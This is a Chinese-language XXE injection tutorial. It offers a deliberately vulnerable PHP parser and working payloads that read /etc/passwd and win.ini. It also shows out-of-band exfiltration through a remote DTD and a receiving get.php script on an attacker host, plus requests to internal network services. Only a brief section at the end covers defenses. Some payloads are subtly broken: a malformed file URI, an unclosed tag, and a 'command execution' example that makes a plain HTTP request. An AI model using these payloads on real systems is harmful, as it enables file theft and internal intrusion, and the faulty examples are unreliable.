XML实体注入漏洞

XML实体注入漏洞

测试代码1:新建xmlget.php,复制下面代码

<?php
$xml=$_GET['xml'];
$data=simplexml_load_string($xml);
print_r($data);
?>

漏洞测试利用方式1：有回显，直接读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

LINUX:

http://192.168.106.154/xml/example1.php?xml=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE UserInfo[<!ENTITY name SYSTEM "file:///etc/passwd">]><aa>&name;</aa>

读取passwd文件，需URL编码后执行。

windows:

http://192.168.106.208/xxe1.php?xml=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file///C:/windows/win.ini" >]>
<root>
<name>&xxe;<name>
</root>

读取文件、也可以读取到内容D盘的文件夹，形式如:file:///d:/

URL编码后可执行:

http://192.168.106.208/xxe1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-

8%22%3F%3E%20%0A%3C%21DOCTYPE%20xxe%20%5B%0A%3C%21ELEMENT%20name%20ANY

%20%3E%0A%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fC%3A%2fwindows%2fwin.ini

%22%20%3E%5D%3E%0A%3Croot%3E%0A%3Cname%3E%26xxe%3B%3C%2fname%3E%0A%3C%2

froot%3E

漏洞测试利用方式2:无回显，引用远程服务器上的XML文件读取文件

将以下1.xml保存到WEB服务器下

1.xml

<!ENTITY % a SYSTEM "file:///etc/passwd">

<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

Payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">

%remote;]>

http://localhost/ceshi/xmlget.php?xml=<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://localhost/ceshi/evil.dtd">%d;]><aa>&b;</aa>

evil.dtd文件: <!ENTITY b SYSTEM "file:///F:linux/1.txt">

漏洞测试利用方式3:

在主机上放一个接收文件的php(get.php):

<?php
file_put_contents('01.txt', $_GET['xxe_local']);
?>

1.xml内容:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.106.208/dede/get.php?id=%payload;'>">
%int;
%trick;

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>

网站目录下生成01.txt,将内容进行base64编码，获取内容。

测试代码2:

新建一个xmltest.php,复制下面内容，直接访问该文件可以读取file文件内容。

<?php
$xml=<<<EOF
<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///F:/linux/1.txt">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data)
?>

读取任意文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

执行系统命令

在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

攻击内网网站

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词: <!DOCTYPE和<!ENTITY,或者，SYSTEM和PUBLIC。

参考链接:

http://www.freebuf.com/articles/web/86007.html  黑客制造：XXE漏洞自动挖掘工具

https://security.tencent.com/index.php/blog/msg/69    未知攻焉知防——XXE漏洞攻防